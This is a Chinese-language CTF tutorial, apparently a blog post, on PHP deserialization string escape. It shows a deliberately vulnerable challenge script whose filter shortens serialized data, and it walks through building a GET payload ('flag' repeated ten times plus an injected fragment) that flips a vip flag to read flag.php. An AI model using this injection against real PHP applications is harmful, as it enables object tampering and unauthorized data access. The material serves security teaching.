反序列化字符串逃逸(下篇)

这里承接上篇文章反序列化字符串逃逸(上篇)-CSDN博客带大家学习反序列化字符串逃逸减少,没有看过的可以先去看看,不会吃亏。

例题:

highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

还是那个熟悉的三步法:

第一步:先把类写下来正常进行一个反序列化。

这里我先给user,pass随便赋一个值,进行反序列化,如下图:

 
  

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
 

反序列化字符串逃逸(下篇)_第1张图片

第二步:如果变少则判断吃掉的内容。(吃第一个字符串提交到第二个字符串中间的的这个功能性代码”

//在这里flag被替换成hk,字符串减少,会吃掉后面的结构代码,
吃完"s:4:"pass";s:6",就代表 var $pass = "benben"这里的benben是可控的;我的目标代码是"s:3:"vip";b:1;}也就是说我要逃逸这个,所以我要把benben变成"s:4:"pass";s:6"benben";s:3:"vip";b:1;},接下来只要识别到;}这个地方就会反序列化结束,后面的"s:3:"vip";b:1;}自然逃逸成功

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

"s:4:"pass";s:xx"这里会被吃掉,一共19个字符,flag被替换成hk一次搞定两位,必须至少吃10次

,多吃的1加上去就好了。中间要吃掉的变成";s:4:"pass";s:xx:"1(为什么是;s:xx呢?由于benben变了,但是我知道肯定是两位数字符,后面的"s:3:"vip";b:1;}不需要管,只需要数出"s:4:"pass";s:xx"这里会被吃掉,一共19个字符就好)

第三步:算出要逃逸的次数进行复制输出

这里复制10个flag

即user=flagflagflagflagflagflagflagflagflagflag

pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

接下来就可以拿到flag

希望大家能够有所收获,本文是反序列化字符串逃逸(上篇)-CSDN博客的下文,如果觉得不错,可以把上下篇看完,真心希望我的文章能够帮助大家!

你可能感兴趣的:(PHP反序列化,web安全,PHP)